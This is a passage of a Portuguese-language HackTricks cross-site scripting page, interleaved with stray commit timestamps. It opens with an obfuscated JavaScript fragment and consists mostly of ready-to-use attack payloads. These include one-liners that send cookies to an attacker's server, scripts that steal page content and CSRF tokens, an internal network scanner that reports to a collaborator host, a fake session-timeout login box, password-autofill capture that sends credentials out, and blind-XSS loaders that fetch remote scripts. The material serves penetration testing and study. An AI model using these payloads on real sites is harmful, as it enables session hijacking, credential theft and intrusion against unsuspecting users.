(゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
```
2023-03-03 16:32:17 +00:00
```javascript
// It's also possible to execute JS code only with the chars: []`+!${}
```
## Cargas úteis comuns de XSS
2023-03-03 16:32:17 +00:00
### Várias cargas úteis em 1
2022-03-14 23:00:10 +00:00
{% content-ref url="steal-info-js.md" %}
[steal-info-js.md](steal-info-js.md)
{% endcontent-ref %}
2023-06-06 18:56:34 +00:00
### Recuperar Cookies
```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
2021-05-27 11:59:23 +00:00
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
2020-09-22 09:07:48 +00:00
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
2021-05-27 11:59:23 +00:00
{% hint style="info" %}
Você **não conseguirá acessar os cookies a partir do JavaScript** se a flag HTTPOnly estiver definida no cookie. Mas aqui você tem [algumas maneiras de contornar essa proteção](../hacking-with-cookies/#httponly) se tiver sorte.
2021-05-27 11:59:23 +00:00
{% endhint %}
2023-06-06 18:56:34 +00:00
### Roubar Conteúdo da Página
2021-09-01 23:18:05 +00:00
```javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
2021-09-01 23:18:05 +00:00
}
xhr.open('GET', url, true);
xhr.send(null);
```
2023-06-06 18:56:34 +00:00
### Encontrar IPs internos
2021-11-26 23:32:24 +00:00
```html
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
2021-11-26 23:32:24 +00:00
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
2021-11-26 23:32:24 +00:00
}
function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
2021-11-26 23:32:24 +00:00
}
</script>
```
### Scanner de Portas (fetch)
```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
```
2023-06-06 18:56:34 +00:00
### Scanner de Portas (websockets)
```python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
```
_As vezes curtas indicam uma porta respondendo_ _Tempos mais longos indicam falta de resposta._
2020-11-20 10:55:52 +00:00
Revise a lista de portas banidas no Chrome [**aqui**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) e no Firefox [**aqui**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
2023-06-06 18:56:34 +00:00
### Caixa para solicitar credenciais
```markup
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
### Captura de preenchimento automático de senhas
```javascript
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
```
Quando quaisquer dados são introduzidos no campo de senha, o nome de usuário e a senha são enviados para o servidor do atacante, mesmo que o cliente selecione uma senha salva e não escreva nada, as credenciais serão exfiltradas.
2022-05-01 16:57:45 +00:00
### Keylogger
2021-05-27 13:02:25 +00:00
Apenas pesquisando no github, encontrei alguns diferentes:
2021-05-27 13:02:25 +00:00
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
* [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
2023-06-06 18:56:34 +00:00
* Você também pode usar o metasploit `http_javascript_keylogger`
### Roubo de tokens CSRF
```javascript
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
```
### Roubo de mensagens PostMessage
```markup
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
```
### Explorando Service Workers
2022-12-20 11:25:07 +00:00
{% content-ref url="abusing-service-workers.md" %}
[abusing-service-workers.md](abusing-service-workers.md)
{% endcontent-ref %}
2021-10-20 00:45:58 +00:00
### Acessando Shadow DOM
{% content-ref url="shadow-dom.md" %}
[shadow-dom.md](shadow-dom.md)
{% endcontent-ref %}
2023-06-06 18:56:34 +00:00
### Poliglotas
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
### Cargas úteis Blind XSS
2023-06-06 18:56:34 +00:00
Você também pode usar: [https://xsshunter.com/](https://xsshunter.com)
```markup
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
2020-07-30 22:31:02 +00:00
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>
2020-07-30 22:31:02 +00:00
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
### Regex - Acesso a Conteúdo Oculto
A partir [**deste artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) é possível aprender que mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los em atributos JS em diferentes objetos. Por exemplo, uma entrada de um REGEX ainda é possível de ser encontrada mesmo após o valor da entrada do regex ter sido removido:
2023-01-12 12:36:15 +00:00
```javascript
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
```
### Lista de Brute-Force
2021-06-27 21:56:13 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
2021-06-27 21:56:13 +00:00
## Explorando XSS em outras vulnerabilidades
2023-06-06 18:56:34 +00:00
### XSS em Markdown
É possível injetar código Markdown que será renderizado? Talvez você consiga um XSS! Verifique:
2022-05-05 23:53:10 +00:00
{% content-ref url="xss-in-markdown.md" %}
[xss-in-markdown.md](xss-in-markdown.md)
{% endcontent-ref %}
2023-06-06 18:56:34 +00:00
### XSS para SSRF
2020-09-09 09:02:24 +00:00
Conseguiu um XSS em um **site que utiliza cache**? Tente **elevá-lo para SSRF** através da Injeção de Include do Lado do Servidor com este payload:
2020-09-09 09:02:24 +00:00
```python
<esi:include src="http://yoursite.com/capture" />
```
Use-o para contornar restrições de cookies, filtros XSS e muito mais!\
Mais informações sobre essa técnica aqui: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
2020-09-09 09:02:24 +00:00
### XSS em PDF criado dinamicamente
Se uma página da web estiver criando um PDF usando entrada controlada pelo usuário, você pode tentar **enganar o bot** que está criando o PDF para **executar código JS arbitrário**.\
Portanto, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **abusar** desse comportamento para causar um **XSS no servidor**.
2020-12-24 09:46:40 +00:00
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
{% endcontent-ref %}
2020-12-24 09:46:40 +00:00
Se você não puder injetar tags HTML, pode valer a pena tentar **injetar dados em PDF**:
2020-12-24 09:46:40 +00:00
{% content-ref url="pdf-injection.md" %}
[pdf-injection.md](pdf-injection.md)
{% endcontent-ref %}
### XSS em Amp4Email
2022-08-16 09:38:59 +00:00
AMP, com o objetivo de acelerar o desempenho da página da web em dispositivos móveis, incorpora tags HTML complementadas por JavaScript para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para várias funcionalidades, acessíveis por meio de [componentes AMP](https://amp.dev/documentation/components/?format=websites).
2022-08-16 09:38:59 +00:00
O formato [**AMP para Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componentes AMP específicos para e-mails, permitindo que os destinatários interajam com o conteúdo diretamente em seus e-mails.
2022-08-16 09:38:59 +00:00
Exemplo de [**relato de XSS no Amp4Email no Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
2022-08-16 09:38:59 +00:00
### XSS ao enviar arquivos (svg)
Faça upload de um arquivo como a seguinte imagem (de [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```markup
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
2021-04-12 14:09:57 +00:00
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
```
2021-06-15 09:31:42 +00:00
```markup
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
```
2021-06-15 09:31:42 +00:00
```markup
2021-01-22 11:00:52 +00:00
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
```
2022-04-30 10:09:20 +00:00
```svg
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
2022-06-25 15:45:47 +00:00
</svg>
2022-04-30 10:09:20 +00:00
```
2022-07-20 09:38:23 +00:00
```html
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
```
2023-03-03 17:26:17 +00:00
```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
```
2023-06-06 18:56:34 +00:00
Encontre **mais payloads SVG em** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
2023-03-03 17:26:17 +00:00
## Truques Misc JS & Informações Relevantes
2023-02-07 10:56:16 +00:00
{% content-ref url="other-js-tricks.md" %}
[other-js-tricks.md](other-js-tricks.md)
{% endcontent-ref %}
## Recursos XSS
2023-01-05 13:05:03 +00:00
2023-02-07 10:56:16 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
2023-03-05 22:20:47 +00:00
* [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
* [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
2023-02-07 10:56:16 +00:00
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
2023-01-05 13:05:03 +00:00
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
2022-04-28 16:01:33 +00:00
2022-07-21 20:26:09 +00:00
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Dica de recompensa por bug**: **inscreva-se** no **Intigriti**, uma plataforma de **recompensas por bugs premium criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
2022-05-08 22:42:39 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
2022-04-28 16:01:33 +00:00
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>